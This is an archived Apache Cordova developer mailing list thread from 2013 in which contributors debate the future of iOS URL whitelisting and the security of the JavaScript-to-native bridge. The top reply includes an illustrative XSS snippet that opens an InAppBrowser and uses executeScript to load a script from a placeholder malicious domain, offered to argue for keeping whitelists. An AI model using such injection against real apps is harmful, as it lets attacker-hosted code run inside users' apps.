cordova-dev mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From Shravan Narayan <shrava...@google.com>
Subject Re: iOS: The future of whitelisting
Date Thu, 11 Apr 2013 18:39:39 GMT
Hi,
My name is Shravan - I am an intern at Google working on the Cordova App
Harness (tool to test Cordova Apps).

Something that I noticed while starting work on the App Harness. The new
executeScript method allows injection of arbitrary pieces of javascript in
the InAppBrowsers opened with "window.open". This script runs in context of
the page loaded in the InAppBrowser. Whitelists might be still required in
this scenario.

*Quick example*
Consider the scenario that there are no whitelists in the platforms. Any
cordova app which is vulnerable to XSS attacks, can have the following code
injected into them.

*w = window.open("www.site_that_your_app_normally_doesnt_access.com",
"_blank");*
*w.executeScript({ file: "some_** malicious**_site.com/malicious.js"});
*
*
*
Thus they can open any website and inject any js file from any location.
Whereas with whitelists the js file's domain "*some_** malicious**_site.com"
*  would probably not be a part of the whitelist.

*Small caveat: *The executeScript does have means to inject code directly
as well with *w.executeScript({code:"(function() {alert("Hello");}) ();"}) *but
that may require a different solution not pertaining to this discussion.

I don't know if this is a reason to keep the whitelists around but thought
I'd mention it.

Shravan


On Wed, Apr 10, 2013 at 8:29 PM, Shazron <shazron@gmail.com> wrote:

> Also the whitelist might be important for plugins. Specifically, people
> that need to install plugins have a promise of what external locations are
> being accessed.
>
> However, right now all iOS plugins bypass the whitelist because of our
> User-Agent method, and that needs to be rectified before this "promise" is
> true.
>
> Certain resources bypass the whitelist anyway because we have no way to
> control them at the moment (audio/video tags):
> https://issues.apache.org/jira/browse/CB-2451
>
>
>
>
> On Wed, Apr 10, 2013 at 5:22 PM, Shazron <shazron@gmail.com> wrote:
>
> > Ideally we would have a WebPolicyDelegate like OS X
> > (webView:decidePolicyForMIMEType:):
> >
> >
> https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/WebKit/Protocols/WebPolicyDelegate_Protocol/Reference/Reference.html
> >
> > ...where we can have some granularity - I'm not sure we can yet. If so,
> we
> > can defer to the app developer whether certain things like images can be
> > let through - for example in MainViewController, you can set your own
> > WebPolicyDelegate. We would allow images through by default.
> >
> > I'm not sure of "letting the fox in the hen-house" (allow everything)
> then
> > trying to guard against attacks (hens with shotguns?), this is JavaScript
> > after all. I'm interested however in how your gatekeeper concept works to
> > help with this since allowing an external URL location does not protect
> > from this attach (think of the situation if the external host was hacked,
> > and contained JS that attacks/intercepts our bridge).
> >
> > With the default wildcard in new projects, like others here have
> > mentioned, the whitelist is effectively turned off, and 99% of devs won't
> > care to restrict the whitelist.
> >
> >
> >
> > On Wed, Apr 10, 2013 at 3:06 PM, Braden Shepherdson <braden@chromium.org
> >wrote:
> >
> >> Especially since permissions, on platforms that have such a notion, will
> >> be
> >> (eventually...) controlled by installing those plugins. So you can lean
> on
> >> the platform to block access to contacts as well. Even on platforms
> >> without
> >> such permissions control, if we don't load the contacts-retrieval native
> >> code, then the JS can't get at it.
> >>
> >> Braden
> >>
> >>
> >> On Wed, Apr 10, 2013 at 4:44 PM, Jesse <purplecabbage@gmail.com> wrote:
> >>
> >> > I am completely in favor of removing whitelisting as well.  I believe
> it
> >> > gives developers a false sense of security.
> >> > imho the only sure way to protect access to the bridge is to only ever
> >> load
> >> > code that you control. We should be pushing developers towards
> >> > best-practices.
> >> >
> >> > Some of the whitelist stuff should become redundant when we have
> things
> >> > like the Contact API moved into plugins.  ie. You can be absolutely
> >> certain
> >> > that no JS code is accessing the device's contacts if you do not
> include
> >> > the native pieces of the Contact API.
> >> >
> >> > @purplecabbage
> >> > risingj.com
> >> >
> >> >
> >> > On Wed, Apr 10, 2013 at 1:23 PM, Brian LeRoux <b@brian.io> wrote:
> >> >
> >> > > We recently moved to * by default to ease common userland woe. I'd
> be
> >> in
> >> > > favor of removal of whitelisting but I'm fairly certain that would
> be
> >> > > a controversial position!
> >> > >
> >> > >
> >> > > On Wed, Apr 10, 2013 at 11:38 AM, Kevin Hawkins <
> >> > > kevin.hawkins.cordova@gmail.com> wrote:
> >> > >
> >> > > > Hey all,
> >> > > >
> >> > > > Those of us who have been on the implementing and/or serious
> >> > consumption
> >> > > > side of whitelisting for iOS—I've been on both at one time
or
> >> > > another—know
> >> > > > how much work has gone into trying to make it a full-featured
> >> security
> >> > > > subsystem for the iOS version of the framework.  I want to share
> >> some
> >> > > > feedback based on my organization's experiences in implementation,
> >> and
> >> > > > hopefully spark some discussion about the future of whitelisting
> on
> >> iOS
> >> > > > (and maybe the platform as a whole).
> >> > > >
> >> > > > We're essentially running into insurmountable issues with
> >> whitelisting
> >> > > for
> >> > > > the use cases we're attempting, based on the overreach of the
> >> > > NSURLProtocol
> >> > > > approach to whitelist handling.  I say overreach because, in
an
> >> ideal
> >> > > > world, Cordova should only ever care about safeguarding traffic
> >> > destined
> >> > > to
> >> > > > go through the hybrid/native bridge.  This argument can be made
> for
> >> all
> >> > > > platforms, but the lack of granularity is most onerously
> >> overbearing on
> >> > > > iOS, which filters every HTTP(S) packet that goes through the
app.
> >> > > >
> >> > > > Our requirements are very strict with regard to what's whitelisted
> >> to
> >> > go
> >> > > > through the bridge.  But the bridge is conceptually the only
thing
> >> we
> >> > > care
> >> > > > about, within that particular sphere of security.  We have a
more
> >> > relaxed
> >> > > > sphere of security for, say, <img src="http://maps.google.com"
> />,
> >> as
> >> > > the
> >> > > > threat vectors exposed through image rendering are considerably
> less
> >> > than
> >> > > > malicious injected bridge code.
> >> > > >
> >> > > > Alas, we don't—and arguably never will—have that kind of
granular
> >> > control
> >> > > > in iOS, with the current implementation approach.  NSURLProtocol
> is
> >> > > simply
> >> > > > too broad-brush to meld into a granular approach for whitelisting.
> >>  The
> >> > > end
> >> > > > result is that we lose the ability to deliver a rich content
> >> experience
> >> > > > that leverages third party artifacts, because we're forced to
go
> >> with
> >> > the
> >> > > > sphere of security that gives us the highest scrutiny, across
the
> >> > board.
> >> > > >
> >> > > > We've been considering (very early phase) some alternative
> >> approaches
> >> > to
> >> > > > managing whitelisting.  Our current thinking has been focusing
on
> a
> >> > > > gatekeeper (on the native side) to the bridge itself.  This would
> >> > enforce
> >> > > > some sort of contract between the hybrid and native side, to
make
> a
> >> > > > determination of which traffic is authorized to specifically
go
> >> through
> >> > > the
> >> > > > bridge.  I'm not sure what that contract looks like at this point,
> >> but
> >> > > > enforcement would be bridge-specific, and all other webview
> traffic
> >> > would
> >> > > > otherwise behave as it would in a normal web application.
> >> > > >
> >> > > > I know from past discussions that many (most?) Cordova developers
> >> don't
> >> > > > generally use the whitelist, since their security concerns may
not
> >> be
> >> > as
> >> > > > great, and/or they exclusively host their app functionality
> locally
> >> to
> >> > > the
> >> > > > device, which allows them to essentially implement their own
> >> controls
> >> > on
> >> > > > attack vectors through selective app content.  In our case, we're
> >> > > building
> >> > > > an enterprise platform where content could come from any number
of
> >> > > sources.
> >> > > >  And whitelisting controls are not working for us.
> >> > > >
> >> > > > If there's a future for whitelisting in Cordova 3.0, I personally
> >> feel
> >> > > that
> >> > > > it needs to be revisited.  I'd be interested to hear thoughts
from
> >> > others
> >> > > > on their usage patterns, and responses to my concerns.
> >> > > >
> >> > > > Cheers,
> >> > > > Kevin
> >> > > >
> >> > >
> >> >
> >>
> >
> >
>

Mime
  • Unnamed multipart/alternative (inline, None, 0 bytes)
View raw message